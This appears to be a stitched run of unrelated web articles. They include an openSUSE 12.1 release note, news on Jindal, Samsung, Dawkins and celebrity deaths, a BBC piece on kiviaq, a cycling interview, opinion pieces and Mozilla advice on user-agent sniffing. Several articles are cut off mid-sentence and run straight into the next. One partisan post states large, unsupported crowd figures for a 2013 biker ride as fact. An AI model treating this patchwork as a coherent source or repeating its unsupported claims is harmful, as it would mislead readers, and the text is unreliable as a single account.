At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowIt is November 16, 2011 and our mirrors have synced. Time to present to you: openSUSE 12.1! This release represents more than eight months of work by our international community and brings you the best Free Software has to offer. Awesome improvements include the latest GNOME 3.2 desktop as well as the newest from KDE, XFCE and LXDE; your ownCloud made easy with mirall; Snapper-shots of your file system; and much, much more.
Desktops
openSUSE 12.1 comes with the new GNOME Shell 3.2. We presented you with a taste of GNOME Shell on openSUSE 11.4. Since then, many bugs have been squashed and numerous small improvements have made life on the Shell more comfortable. Notifications are much nicer, you can now configure your online accounts in one place and Shell handles multiple-screen setups better.
Among the features is color management, something GNOME shares with KDE where openSUSE is the first to integrate the Oyranos color management system. Also new from KDE is Apper, an easier-to-use PackageKit front end.
Cloud things
It is 2011, and most of us use ‘cloud’ technology like having our files on Dropbox, friends on Facebook and music on Spotify. But these technologies are arguably dangerous from a security and privacy point of view. While not solving all problems yet, ownCloud aims to bring these services back under your control.
openSUSE is the first Linux distribution to support ownCloud with its own unique mirall desktop integration. For end users, mirall makes the difference between thinking that ownCloud is interesting and being able to actually use it. Read about mirall and ownCloud in our documentation to find out why!
For more demanding use cases in the small business area, our Virtualization and Cloud repository offers the latest versions of Eucalyptus, OpenNebula and OpenStack for openSUSE 12.1. And we support all the virtualization technologies including Xen 4.1, KVM and VirtualBox which can be managed with the latest virt-manager and open-vm-tools.
SUSE Studio users can already build unique versions of openSUSE 12.1, with custom package selections, artwork, scripts, etc. that can be deployed directly to Amazon EC2 or onto a variety of other cloud platforms.
Under the hood
openSUSE 12.1 includes Snapper, a new and unique tool that employs the snapshot functionality in btrfs to allow you to view older versions of files and revert changes. The integration of Snapper into the zypper package manager allows roll back of system updates and configuration changes.
openSUSE is also the first major distribution to ship the Go programming language, Google’s new open development language. Go is a fast, easy-to-use language that helps programmers handle multi-core, networked machines with the convenience of garbage collection and run-time reflection.
Keep tumblin’ and rollin’!
openSUSE 12.1 can of course also move to Tumbleweed, our cutting-edge rolling release repo which contains the latest stable versions of all software. Tumbleweed lessens the significance and change impact of major releases by updating systems continuously. Existing Tumbleweed users will have to make a small change to their repositories to stay current. For future releases of openSUSE this won’t be needed anymore.
Go and have a lot of fun!
“While the big updates include Snapper, systemd and ownCloud, there are also many smaller enhancements like the improvements to YaST or the work on zypper. And that is only what our own community did,â€
said Bryen Yunahsko, member of the openSUSE Board.
“We’re standing on the shoulders of the gigantic open source community. I would not be surprised if openSUSE’s latest update has over 300,000 improvements that resulted from efforts in the open source community.â€
For more details about the latest and greatest in openSUSE 12.1 visit opensuse.org/12.1 and read our extensive Product Highlights! If you want, go and download it right away from our mirrors.
Have a lot of fun!
Both comments and pings are currently closed.Louisiana Governor Bobby Jindal (R), image via Wikimedia, Creative Commons licensed.
Louisiana Governor Bobby Jindal (R) spoke at the Ronald Reagan Presidential Foundation and Library on Thursday night about what he called “The Silent War on Religious Liberty” being waged by the Obama administration.
“These days we think this diversity of belief is tolerated under our law and Constitution,” Jindal said. “But that’s wrong. This diversity of belief is the foundation of our law and Constitution. America does not sustain and create faith. Faith created and sustains America.”
This “Silent War,” Jindal contended, “threatens the fabric of our communities, the health of our public square, and the endurance of our constitutional governance. It is a war against the propositions in the Declaration of Independence. It is a war against the spirit that motivated abolitionism. It is a war against the faith that motivated the Civil Rights struggle…It is a war against America’s best self, at America’s best moments.”
“It is a war — a silent war — against religious liberty.”
The main front in this “silent war,” according to Jindal, involves “the freedom to exercise your religion in the way you run your business, large or small.” He cites the case of Hobby Lobby, which is “exercis[ing]” its religious freedom by refusing its employees health care and not stocking Hanukkah-related merchandise.
According to Jindal, “Hobby Lobby is nothing less than an all-American success story. The family owned company was launched in Oklahoma in 1970 with nothing more than a $600 loan and a workshop in a garage. Today they have 588 stores in 47 states. They have more than 13,000 full-time employees.”
Jindal’s “all-American success story,” which “retain[s] the guiding principles of their devout founders”, purchases its products from China, where forced abortions are still common. Still, Jindal claims that Hobby Lobby’s profession of religiosity doesn’t matter the Obama administration.
“The argument they have advanced, successfully thus far, is that a faithful business owner cannot operate under the assumption that they can use their moral principles to guide the way their place of business spends money,” Jindal said. “According to the administration’s legal arguments, the family that owns Hobby Lobby is not protected by the First Amendment’s ‘free exercise’ of religion clause.”
“Under the Obama regime, the president and his allies are intentional in pursuing these conflicts from the perspective that you must sacrifice your most sacred beliefs to government the instant you start a business,” Jindal claimed. “You have the protection of the First Amendment as an individual, you see — but the instant you start a business, you lose those protections.”
Jindal believes that the Constitution’s free exercise of religion |
q is made from fermented sea birds. The delicacy is created by first preparing a seal skin: all the meat is removed and only a thick layer of fat remains. The skin is then sewn into a bag shape, which is stuffed with 300-500 little auk birds. Once full and airtight, the skin is sewn up and seal fat is smeared over all over the join, which acts as a repellent to flies. The seal skin is then left under a pile of rocks to ferment for a minimum of three months to a maximum of 18 months.
As winter arrives and hunting for other game becomes difficult due to the darkness and unsafe ice, Ikuo and his family look forward to digging out the kiviaq and sharing it with their family and friends. They always eat it outside as the smell is so overpowering that it would linger inside the house for weeks. The seal fat helps to both preserve and tenderise the bird meat so it can be eaten raw and whole, bones and all. It was quite a sight to see the family holding bird’s legs in their teeth and stripping off the feathers before chowing down on large parts of the bird.
Kiviaq is often a meal that is served at celebrations and as we filmed the family eating, the whole event felt festive. Once the cameras stopped rolling the crew were invited to join in the feast. I was slightly reticent, considering I don’t usually eat meat. However when you’ve travelled this far to film someone preparing a highly regarded feast it seems rude not to join in.
The best part of the bird is said to be the heart which was given to our director Nic Brown. I opted for the smallest piece possible, a tiny bit of leg, which one of the women fed to me off her finger! I must say that this small tasting did not enamour me to the delicacy. It tasted like a cross between liquorice and the strongest cheese I’ve ever had.
However, there is no doubt that the taste appeals to many Inuit families in the far north and more importantly, in the past, this resourceful method of preserving food saved many lives during tough times.
What do you think? We'd love to hear about the strangest meal you have ever eaten. Discover amazing human stories from around the world through television and radio clips from BBC programmes with the Human Planet Explorer.
Bethan Evans is part of the Human Planet Arctic Team.Patrick Willocq’s project “On the road from Bikoro to Bokonda,” which he created by photographing villages in a Western province in his native Democratic Republic of Congo, was recently awarded the Prix AFD, given by the French Development Agency. The project, Willocq writes, “is a testimony of everyday Batwa Pygmies and Bantu life in the province of Equateur.” Willocq directs the villagers in his photographs to create “Africain tableau,” which is concerned with “human relationships and the role of women and men, the role of the forest, nourishing heart but under daily pressure from the villagers and, traditions still entrenched but sometimes disappearing in favor of more westernized tools and behaviors.” “I also wanted to witness the peace that prevails in the West, with the complicity of the villagers themselves [as] actors committed to contributing to our project,” Willocq adds. “A different reality than the Eastern Congo, a reality that Western media regularly focus on and, although dramatic, stigmatizes the whole country.”
Willocq collaborates with the villagers on more than just photographs. In addition to his photographic work, Willocq leads “community-based and fair-trade tours” for people who want to meet with the villagers. He writes: “I have always been struck by the beauty, simplicity and dignity of daily life, despite all the hardship they face.”Karen Montgomery who starred in a Star Trek spin-off show has died aged 66.
The actress died on Friday in Los Angeles after a nearly decade-long fight against breast cancer, according to an article on Tuesday by Variety.
Montgomery portrayed Princess Beata in a 1988 season one episode of Star Trek: The Next Generation.
Actress and producer: Karen Montgomery, shown in 2011 in Los Angeles, died on Friday aged 66 after a long battle with breast cancer
She also worked behind the scenes in Hollywood and was an assistant to screenwriter Waldo Salt, director Hal Ashby and producer Bruce Gilbert in the 1978 drama Coming Home.
The film earned nine Oscar nominations and won three for Best Actor [Jon Voight], Best Actress [Jane Fonda] and Best Original Screenplay.
Montgomery also had producing credits for the 1994 movie Row Your Boat, 1997's 'Til There Was You and the 1991 drama Diary Of A Hitman.
Season one: The actress portrayed the leader of a female dominated planet in a 1988 episode of Star Trek: The Next Generation
Federation intervention: Commander William Riker, played by Jonathan Frakes, wore traditional Angel I clothing while intermingling on the female-dominated planet
Diary Of A Hitman starring Forest Whitaker, Sherilyn Fenn and Sharon Stone was directed by Montgomery's former acting coach Roy London.
Montgomery and her director husband Christopher Monger, 65, following London's death from AIDS complications in 1993 produced the documentary Special Thanks To Roy London.
The documentary premiered in 2005 at Tribeca Film Festival in New York City.
Husband and wife: Christopher Monger is shown with Montgomery in 2011 in Hollywood at the Writers Guild Awards
Montgomery started acting in the 1970s and her TV credits included a 1978 episode of Kojak, Nero Wolfe in 1981 and L.A. Law in 1993.
She played the leader of the female-dominated planet Angel I in the Star Trek: The Next Generation episode.
Montgomery is survived by her husband; her mother Susan Nelson and brother Carl Montgomery.Since Julie Samuels joined the EFF as the Mark Cuban Chair to Eliminate Stupid Patents, she’s spearheaded the movement to keep 3D printing free by challenging new applications with crowdsourced prior art. Today, the EFF is announcing that it and its partners including Harvard’s Cyberlaw Clinic and Ask Patents have now submitted documents on six pending applications, including one for a “Ribbon Filament and Assembly for Use in Extrusion-based Digital Manufacturing Systems” — i.e., using a filament that’s fettucine-shaped instead of spaghetti-shaped because it melts more quickly.
This ability for third parties to help invalidate patents before they’re even granted comes thanks to a new provision in the America Invents Act that lets anyone submit any “printed publication of potential relevance to the examination of the application.” As the industry grows, companies and individuals are trying to stake out a piece of the action, both by filing for new patents and aggressively asserting old ones. Formlabs, the startup behind the high-precision Form 1 printer, is one of several companies in the growing sector to be hit with patent infringement claims.
The EFF isn't planning to stop its crusade at 3D printing
Samuels has taken to Stack Exchange to collect ideas, giving everyone the ability to chip in with prior art, which so far has ranged from actual patents to simple blog posts. The EFF isn’t planning to stop its crusade at 3D printing, either — members already planning to investigate pending applications for patents related to mesh networking.The WorldTour may be taking a break before the July’s Tour de France, but the VeloHuman Up-and-comer Q&A Series is here to hold you over until the racing picks back up again. In this third installment, VH talks to Giant-Shimano’s Chad Haga, on a brief summer break from competition. Chad joined the Dutch squad after a breakout 2013 in which he took 10th in the Tour of California, 2nd in the Volta ao Alentejo, and a stage at the Tour of Elk Grove. The 25-year-old American is something of a rarity in the peloton: he holds a bachelor’s degree (in mechanical engineering), having graduating from Texas A&M before kicking off his pro career. We talked about adapting to racing on the WorldTour and Giant-Shimano’s world-beating sprint train, among many other things.
VH: Where are you spending summer break?
CH: I’m staying in Lucca, Italy [Chad’s home base in Europe].
VH: How are you settling in? You live with [Garmin-Sharp’s] Ben King, is that right?
CH: Yep. Settling into Lucca specifically has gone pretty easily. It’s a laid back little town and the apartment is really well located inside the wall. Neither of us has a car and we get along just fine. The Italian lifestyle is great and the roads are terrific. That’s part of why I’m spending my break here. I haven’t spent a lot of time to experiencing the city or exploring, so I’m looking forward to doing that over the next few weeks.
VH: How do you plan on spending your time off from racing?
CH: Specifically, I’m not sure yet. I would like to make a trip over to Siena to see their famous horse races in July, Il Palio. I visited Siena last fall and learned about these races and thought that it would be really awesome to go, and now I’ve got the opportunity to do that. But besides that I don’t have any really detailed plans for how I’ll spend my break. So far I’ve just been doing a lot of relaxing and reading and playing the piano.
VH: You were 10th overall in the 2013 Tour of California so obviously you’ve done big races in the past, and you’ve done well in them. But in March you started in your first WorldTour event, the Volta a Catalunya. You said in your blog that it was much harder than the prior year’s Tour of California. Can you describe what it is that makes racing at the WorldTour level so much more difficult?
CH: At the WorldTour level, generally every race is longer. I added up all the race kilometers that I had last year compared to this year and divided by the number of race days and on average, every race is 30 kilometers longer, so you’re talking about close to an hour longer every single race, and on top of that it’s a higher level of racing. At the WorldTour races, there’s no Continental teams. Every single WorldTour team is there. It’s just a very high level of racing, it’s very demanding and that takes adjustment.
VH: At Catalunya you were part of a squad that launched Luka Mezgec to three wins, and then in the Dauphiné you and the rest of Giant-Shimano drilled it on the front in the closing kilometers of the third stage to set up Nikias Arndt for victory. Have you been working a lot on the leadout in your training with the team?
CH: That’s been a big area of development for me, learning how to do it and the skills and the technique and the mental training required to pull off something like that for a rider like me, who’s not so comfortable with it in the first place.
VH: Obviously Giant-Shimano is doing something right with the leadouts because you’ve become this sprint powerhouse of the WorldTour. You’re winning stages in Catalunya and the Dauphiné with Mezgec and Arndt, and of course you have huge names like Marcel Kittel and John Degenkolb. Are you able to identify anything that Giant-Shimano is doing differently that is setting up all these guys for so many wins?
CH: It seems to me that we do a very good job, when things go right and when things go wrong, either way, we always break down the stage in detail and analyze everything we did: what we did right and what we need to change. We just do a very good job of analyzing everything so that we can be even better in the future, and it seems to carry over from race to race and so we continue to get better at it.
VH: What is the skillset that you feel you’ve improved the most since joining the team?
CH: I guess it would have to be positioning. I still have a lot of work to do with that but I feel that I’ve gotten much better at staying with my teammates when it’s important, and the fight for position in leadouts and into the base of climbs.
VH: You’re into music; do you listen to anything in particular when you’re on the trainer?
CH: If I’m warming up for a time trial, it’s very specific music. For the past two years, the only thing I really listen to when I’m warming up for a time trial is a band called Periphery.
VH: That’s a rock band right?
CH: Yeah. They’re like... tech metal.
VH: Was there a reason that that became your routine before the time trial?
CH: I just love their music in the first place, it always gets me pumped up. I think the first time trial I listened to them, I won. It hasn’t always worked out that way since then but it’s my go-to warm up music.
VH: You’re living in Italy and you’re riding for a Dutch team; are you picking up any languages? What’s the predominant language spoken on the team?
CH: Well everybody speaks English, which is very good, I can communicate and bond with my teammates. But aside from that, there’s half a dozen other languages spoken on the team around the dinner table, so it’s a lot of different dialects and languages bouncing around.
VH: Speaking of communicating and bonding, are there any veteran riders on the team that you’ve been able to form a relationship with and learn from so far?
CH: Roy Curvers and [John] Degenkolb. I’ve done a lot of races with them and we get along well, and both of them have a lot of experience and can do a lot of teaching. I really enjoy racing with them and learning from them.
VH: Where do you see yourself fitting in as a rider over the next few years? Obviously you have the all-rounder skillset, and you’re excellent in the time trial. What sort of races do you see yourself targeting?
CH: I... (Chad laughs) have not thought that far ahead. I hope to be able to really compete for the GC in weeklong stage races, at the Tour of California level, 2.HC, and hopefully at the WorldTour level. In the meantime I really enjoy the opportunity to go on the attack and get into breakaways.
VH: After your summer break is over, what is next on the program for 2014?
CH: Race-wise, I don’t know yet, that’s still up in the air being decided. I go to a three-week altitude training camp in France during mid-July so that’s the most immediate thing on my calendar.
VH: Do you have any particular goals for the rest of 2014?
CH: I would really love to win something before the year ends, but I don’t have a target race in mind. I take every race as it comes and look for opportunities. I would love to get selected to race the Vuelta. I know that’s a possibility, so I have high hopes for that, and I’d love to return to the World Championships and race the team time trial.
VH: Has Giant-Shimano given you an indication of what their expectations or goals are for you in your first year?
CH: They don’t expect me to get a result in a specific race; there is no real target race in that sense. They just want me to work as hard as I can and learn as much as I can, and use this as a building year in the hope of having a breakout year next year. It helps a lot. There is pressure, of course, to do my job and work as hard as I can, but to not really have any weight on my shoulders makes for a really smooth transition to this level.
VH: You have a mechanical engineering degree, so obviously you’re comfortable with math. Do you tend to pay a lot of attention to your power data while you’re riding, or do you try to ride according to how you feel and leave the analysis for after the race?
CH: I have to cover up my data during the race because I will obsess over it to the detriment of my racing. I definitely analyze it very in-depth after the race, and then our team also has our own data guru for further analysis, but I save that for after the race, because otherwise I would never look up from my power meter!
VH: I’m sure it was a big decision at first, but do you feel you’ve made the right call foregoing an engineering career for now?
CH: Yeah, at least for now, I’m really glad I did. I’ve got the degree to fall back on, so I’m glad that I finished it, but I think this was the perfect opportunity to really go for it, so I have no regrets.
VH: Was there a particular race, maybe during your very successful 2013, at which you felt “Hey, I have a future in this”?
CH: I think that when I first realized that I might be on the cusp of a breakout year was in Portugal last year, at the start of the season. One of our first races, we did the Volta ao Alentejo. I never won anything which was really frustrating, but I was on the podium for multiple stages and on the GC, and was having a great ride. It was after that race where I was first contacted by a Pro Tour team, and I realized that this could actually happen.
VH: What has been the biggest surprise in your first year?
CH: Hm. Just that the racing is so much harder! I knew it was going to be harder, everybody told me it would be harder but you still don’t realize it until you get into the races and then you realize, “Hey wait a minute, this is freakin’ hard!”
While some of his teammates are hunting stages in July’s Tour, Chad will be doing plenty of riding of his own, also in France. After that, there are a number of possibilities for his next race. Chad showed in this year’s Tour of California the toughness required to spend a long day out front in a very high level race, a good sign that the victory he is hunting may not be far off.
-Dane CashThe CEO of Samsung Electronics Kwon Oh-Hyun resigned Friday, saying the South Korean tech giant was facing an “unprecedented crisis”, even as it expected profits to hit an all-time high in the third quarter.
Kwon's resignation comes as the company struggles to overcome a bribery scandal that sent Lee Jae-Yong, its de-facto head and heir to the Samsung empire, to jail.
But in a sign of good news for the company, its estimated operating profits for the July-September period of 14.5 trillion won ($12.8 billion) marked a record for quarterly profit, nearly tripling the 5.2 trillion won earned a year earlier.
Sales are expected to have surged 29.65 per cent on-year to 62 trillion won, with the booming semiconductor business boosting the company's bottom line.
Despite the spectacular performance, CEO Kwon said the company was in the throes of an “unprecedented crisis” as he announced his intention to step down.
“Fortunately, the company is now producing best-ever results but this is merely a fruit of decisions and investment made in the past”, he said in a statement.
“As we are confronted with unprecedented crisis inside out, I believe that time has now come for the company (to) start anew, with a new spirit and young leadership to better respond to challenges arising from the rapidly changing IT industry,” Kwon said.
Samsung did not announce the performance estimates of each business division but its semiconductor business is widely believed to have contributed greatly to the record-beating report.
The company is set to release its final earnings report later this month.
Samsung has been seeking to move past a bribery scandal that saw the company's de-facto head Lee Jae-Yong thrown into jail, and to overcome a damaging recall last year of its flagship Galaxy Note 7 smartphone over exploding batteries.
Lee, who was found guilty in August of bribery, perjury and other charges relating to payments made by Samsung to ousted president Park Geun-Hye's secret confidante Choi Soon-Sil, is appealing his five-year sentence and says he is innocent.
Profits up
“The results are good ones that largely meet market expectations”, Kwon Sung-Ryul of Dongbu Securities told AFP.
“The company has been riding a global semiconductor boom,” he said, adding the semiconductor business alone is believed to have contributed 10 trillion won to the operating profit.
The company's main products — DRAM and NAND memory chips used in smartphones — have also seen an increase in shipments and prices.
Rising sales of its flagship Galaxy S8 and Galaxy Note 8 smartphones were also believed to have bolstered the profitability of the mobile division, analysts said.
Yonhap Infomax data, based on research from 21 securities firms, also showed Samsung is expected to post an operating profit of 16 trillion won in the fourth quarter, up 74pc from a year earlier.
Doh Hyun-woo, analyst at Mirae Asset Daewoo Securities Co. said in a report that the release of new models, including the iPhone X by rival Apple Inc. could weigh on Samsung's mobile sales, but will also help its smartphones parts business.
The consumer electronics division will also benefit from strong seasonal demand, he added.
Analysts said the company was likely to post another all-time high quarterly operating profit of somewhere between 15 and 17 trillion won in the October-December period as IT/mobile business is expected to contribute greater earnings as well.
But shares in Samsung Electronics closed 1.46pc down Friday on heavy profit-taking.Vaccines have saved millions of lives as well as improved the quality of life and yet there are those who, whether through abject ignorance or dogmatism, would bring back the ravages of disease. Vocal anti-vaccine propagandists have already fostered outbreaks in the US and UK, as gullible parents choose to leave their children unprotected. Religious dogmatists have long been among those leading the charge against the advancements of science and medicine, hiding behind the 'right' to practice their faith
Texas pastor Kenneth Copeland is just another in a long-line of benighted religionists who encourage parents to ignore facts putting at risk not only children in their care, but all of us because of epidemiological considerations. >Preventable diseases are on the rise including a new outbreak of measles and nearly 2,000 confirmed cases of pertussis have affected Texans, with two infant fatalities. All preventable. All inexcusable.
This is not just a fight against dogmatic ignorance, this is literally a fight for the lives of innocents. Please join me along with my foundation in the battle to stop this harmful propaganda against vaccines. Donate now and do not remain silent on this issue.
-Richard
Email notice with donate options which was sent out yesterday below(COMIC) Sexy Nerd Girls
“A woman is not a woman unless she is pretty! And a man is not a man unless he is uuuuugly!” –Captain Canuckles, “The Misadventures of Flapjack”
I’m getting pretty tired of seeing these beautiful women that these TV shows are trying to pass off as some nerdy, unattractive shrew – – a phenomena I call the “Tina Fey Syndrome”. I see the same thing on that show “Ugly Betty”, where they got this young woman, who is clearly pretty, and put her in thick glasses and frumpy sweaters.
But what really gets me, especially with Liz Lemon in “30 Rock”, is how she is so unsuccessful in relationships and how everyone treats her like some sort of ugly mutant. That dynamic is just not something I can buy. A woman like that would have no problem getting a man.
I get it, though. We’re a shallow culture obsessed with skin-deep beauty, and honestly, no one wants to see ugly people on screen except in those late hours in the night where you are drawn to darkest, most foul corners of the internet, driven by shameful motivations. All I’m saying is: at least find women to play these “nerdy outsiders” who look more the part.
I’ve been on movie sets before; the make up departments are amazing! Why can’t they cast women who, just maybe, aren’t super models in their past time? Someone who can deliver the lines with more believability and who looks more the part? Then use that make up to and lighting to make her more TV friendly? I want my “art” to imitate life more.
Nerds and weirdos are, and always will be, the bottom of the social totem pole. To have outcasts represented by these beautiful people is like having Brad Pitt play Harvey Pekar, or Johnny Depp play Hunter S. Thompson in a movie. Its disingenuous and, as a movie nerd, it takes me out of the movie.
I want more ugly freaks on my television and movie screens. That’s what I’m trying to say.
AdvertisementsOnline security issues are usually no less severe than losing your Diablo III loot, however here's a much more corporeal example: a house in Australia has been broken into in direct response to a photograph of "a large sum of cash" being posted to a 17-year-old girl's Facebook account. The teenager was assisting her grandmother in counting her savings and snapped a photo of the money all piled up, which she shared to her Facebook account around 4PM local time on Thursday. At about 11:30PM the same day, a pair of masked men forced their way into her mother's home — likely the address the girl had listed on her Facebook profile — demanding the money they saw on her social page. After rifling through the home sufficiently to be convinced that it wasn't there, they made off with a small sum of cash and other possessions.
Though no one was hurt, the entire unfortunate incident could perhaps have been prevented by the girl employing Facebook's privacy features more proactively — and her own common sense in not sharing pictures of money stacked up ready to be stolen. As the New South Wales police report advises, users of social media should "take extreme caution when posting photographs and personal information."Perhaps many have forgotten. In 2013 a progressive group of leftists began organizing a Million Muslim march on Washington DC scheduled for September 11th 2013.
In rapid response (mostly through social media) the national assembly of motorcycle enthusiasts, various clubs, began organizing a counter demonstration; A Million Biker ride on DC scheduled for the same day.
Within days hundreds, then thousands, then tens of thousands, began riding from every single state in the union. At least 800,000 (counted by Viriginia LEO stationed on I-95), and up to 2 million, arrived in the DC suburbs on Sept. 9th, 10th and 11th 2013.
Without any permits the 9/11/13 bikers were denied “non-stop” entrance to the national mall; so they rode into, around and through DC in wave after wave of rolling patriotic assembly.
The media never reported on the ride, preferring to try and downplay the event. However, their assembly sent shock waves through Washington DC as the professional political class immediately noticed the scope of the backlash. The White House and the progressive movement also took notice.
The simple act of showing up sent a very loud and clear message: “There are more of us, than you”. In many ways this visibility was also the representative imagery of The Monster Vote.
Today the annual Rolling Thunder ride to Washington DC to commemorate Memorial Day took place. Many of the 9/11/13 riders were on hand.
Nothing scares the progressive left more than the scope and visibility of the American Patriot.
AdvertisementsColleges give prospective students very little information about how much money they can expect to earn in the job market. In part that’s because colleges may not want people to know, and in part it’s because such information is difficult and expensive to gather. Colleges are good at tracking down rich alumni to hit up for donations, but people who make little or no money are harder and less lucrative to find.
On Saturday, the federal government solved that problem by releasing a huge new set of data in a website called College Scorecard, detailing the earnings of people who attended nearly every college and university in America. Although it abandoned efforts to rate the quality of colleges, the federal government matched data from the federal student financial aid system to federal tax returns. The Department of Education was thus able to calculate how much money people who enrolled in individual colleges in 2001 and 2002 were earning 10 years later.
On the surface, the trends aren’t surprising — students who enroll in wealthy, elite colleges earn more than those who do not. But the deeper that you delve into the data, the more clear it becomes how perilous the higher education market can be for students making expensive, important choices that don’t always pay off.Oscar-nominated actor Michael Clarke Duncan, the star of Frank Darabont's prison tale "The Green Mile," has died. He was 54.
The Chicago native rose to fame playing a hulking death row inmate with a special psychic gift in the 1999 film, adapted from the novel by Stephen King. The role, which cast him opposite Tom Hanks, earned him Academy Award and Golden Globe nominations.
Standing 6-foot-5 and weighing roughly 315 pounds, Duncan parlayed his considerable size into a career as a Hollywood security guard, working for the likes of Will Smith and the rapper Notorious B.I.G. His first significant movie role came in 1998's "Armageddon" with Bruce Willis; Willis later helped the fledgling actor land the "Green Mile" gig.
PHOTOS: Celebrities react to Michael Clarke Duncan's death
Of his affinity for the role of the doomed John Coffey, Duncan told The Times in a 2000 interview: "I identified with John Coffey in the fact that we both had troubled times, we are both big, and by looking at us, you would be fearful of your life if you met us in a dark alley."Richard Dawkins, a renowned atheist, had been due to speak at an event hosted by Berkeley-based station KPFA
A row over free speech has broken out between scientist Richard Dawkins and a California radio station after a planned speech was cancelled.
The British biologist, a renowned atheist, had been due to speak at an event hosted by Berkeley-based station KPFA about his latest book.
But the speech was pulled, with organizers citing 'hurtful' statements made by Dawkins about Islam.
It is not known what specific remarks prompted the cancellation, but online commentators have drawn attention to a 2013 tweet in which the writer described Islam as 'the greatest force for evil in the world today'.
Dawkins himself has hit back, saying his issue is with Islamism, and pointing out that he has never been barred from events because of his criticism of Christianity.
A statement from KPFA said: 'We had booked this event based entirely on his excellent new book on science, when we didn’t know he had offended and hurt – in his tweets and other comments on Islam – so many people.
Dawkins (left), had been due to speak about his latest book 'Brief Candle In The Dark' (right)
'KPFA does not endorse hurtful speech. While KPFA emphatically supports serious free speech, we do not support abusive speech.
'We apologise for not having had broader knowledge of Dawkins’s views much earlier. We also apologise to all those inconvenienced by this cancellation.'
In an open letter, Dawkins responded to the radio station: 'If you had consulted me, or if you had done even rudimentary fact-checking, you would have concluded that I have never used abusive speech against Islam.
'I have called IslamISM “vile” but surely you, of all people, understand that Islamism is not the same as Islam.
In 2013, Dawkins branded Islam 'the greatest force for evil in the world today' in a Twitter post
'I have criticised the ridiculous pseudoscientific claims made by Islamic apologists (“the sun sets in a marsh” etc), and the opposition of Islamic “ scholars” to evolution and other scientific truths.'
His letter continued: 'I have criticised the appalling misogyny and homophobia of Islam, I have criticised the murdering of apostates for no crime other than their disbelief.
'Far from attacking Muslims, I understand – as perhaps you do not – that Muslims themselves are the prime victims of the oppressive cruelties of Islamism, especially Muslim women.'
And the 76-year-old fumed: 'I am known as a frequent critic of Christianity and have never been de-platformed for that.
'Why do you give Islam a free pass? Why is it fine to criticise Christianity but not Islam?'Mobile web developers: Your users hate it when you do this
Mobile Firefox beta releases include a "Feedback" add-on (like the one in Firefox 4 beta for desktop), which lets users tell us what they think about the new browser. Based on a sample of feedback from mobile beta testers, the most common complaints are about:
Speed Fitting text to the screen when zoomed in Mobile vs. desktop versions of web sites
The first two are straightforward, though not necessarily easy. We're always working on performance, and we have experimental text reflow code (currently available in the Easy Reading add-on). But the last item is more complicated…
Browser detection pitfalls
Web sites can read the User-Agent header sent by your browser to see what browser and OS you are using. Some sites use that information to decide whether to send a "full" version of a web page, or a version formatted for mobile devices.
This can go wrong in several ways. If your browser or device is new, or wasn't tested when a site was developed, that site has no way of knowing whether it is "mobile." Users may also change their User-Agent to work around content restrictions or access different media formats. And some sites make incorrect assumptions, like that all browsers with "Android" in their User-Agent string are based on WebKit.
Even when the browser is known, readers and publishers might not agree about whether the mobile or desktop version is better. Based on our feedback, some users want to switch from full sites to mobile sites while others want just the opposite. And some devices, like large touch-screen tablets, combine aspects of handheld and desktop computers.
Solutions
Looking through these complaints, many people are under the mistaken impression that the browser, rather than the web site, decides whether to display mobile-formatted pages. Even the New York Times' David Pogue gets this wrong in his Galaxy Tab review:
When you visit sites like nytimes.com, CNBC.com and Amazon.com, the Galaxy’s browser shows the stripped-down, mobile versions of those sites. According to Samsung, there’s no way to turn that feature off and no way to visit the full-size sites. You can delete the little “m.” in the Web address until you’re blue in the browser, but the Galaxy always puts it right back.
Web developers: your readers are begging us to display your content in their preferred format. We want to help them, but we can't do it alone.
(I wrote an add-on called Phony that lets mobile Firefox impersonate the User-Agent strings of other browsers. While this improves the experience on some sites, it breaks it on others. Masquerading as another browser can lead sites to serve non-standard markup that do not work in Firefox. Trying to solve this in the browser creates as many problems as it solves.)
Because browser detection is never perfect, web sites should let readers choose between mobile and full content. They can try to guess the right version by default, but please let users opt in or out.
Suggestions for web developers
Here are some first steps typical mobile web sites can take to make their readers happier:
When appropriate, serve the same content to all browsers. You can use stylesheets and scripts to customize your layout for different display sizes, as in this beautiful site by Jon Hicks.
There are valid reasons to use User-Agent sniffing. But if you must use it, test in as many browsers and devices as possible and learn the correct way to detect various browsers. For example, you can detect Gecko-based browsers by looking for Gecko and rv:, and you can detect mobile Firefox by looking for Mobile. [An earlier version of this post recommended looking for Fennec/ but this is no longer correct.]
If a "mobile" user requests a page that isn't available on your mobile site, don't just redirect them to an unrelated mobile landing page.
Let users switch from your mobile site to your full site and vice-versa. You can remember users' previous choices for convenience, but let them change their minds.
Further reading
For much more comprehensive development advice, see Yiibu's thoughtful and practical approach to building sites that work across many different browsers and mobile devices.
One concern with the "same markup" approach is that it leads to heavyweight pages. Peter-Paul Koch explains how you can avoid sending unused images or markup to mobile devices by combinining CSS media queries and JavaScript to implement progressive enhancement.
Coming from a different perspective, Andrea Trasatti (former developer of the device-detection library WURFL) talks about problems in mobile User-Agent strings and how they could be more useful for device detection.I studied in rabbinical school in Israel for five years to become a rabbi – but no one ever comes up to me and asks me to do their root canal work! Why is that?
I studied as an adult in yeshiva for 10 years – but no one ever asks me to fill their cavity. Why is that?
Maybe it’s because I never studied those things and have no idea how to do them.
Well, you know what else I never studied in order to become a rabbi?
I never studied human development.
I never studied how a person grows spiritually.
I never studied how about a person improves their interpersonal qualities.
I never studied marriage counseling or theories about raising children.
I did study the laws of kashrut, the laws of keeping Shabbat, and the laws of family purity.
Ask me about those things – and maybe I’ll know enough to answer, or where to look for an answer.
But why, dear Lord, do people keep asking me (and rabbis) about things we never studied?
Actually, the problem is not so much the people asking, as we rabbis thinking that we know how to answer. Why should a rabbi who studied the laws of Shabbat know how to counsel couples with problems in communication or vulnerability? Why should a rabbi who studied the laws of kashrut know how to raise children with creativity and self-esteem? Why should a rabbi who spent years focusing on legal minutiae know how to listen and care about someone’s |
some of his ambitious goals]
[Target, CASIS team up for sustainable cotton research on ISS]
"Our goal is to get data on 33 sonic booms," said Matt Kamlet, a public affairs officer with the Armstrong Flight Research Center, also noting that testing should end on August 31 depending on weather conditions. That likely means two to three flights per day.
While sonic booms generate immense amounts of energy, residents in the north part of Brevard County need not worry – the shockwaves associated with breaking the sound barrier aren't dangerous.
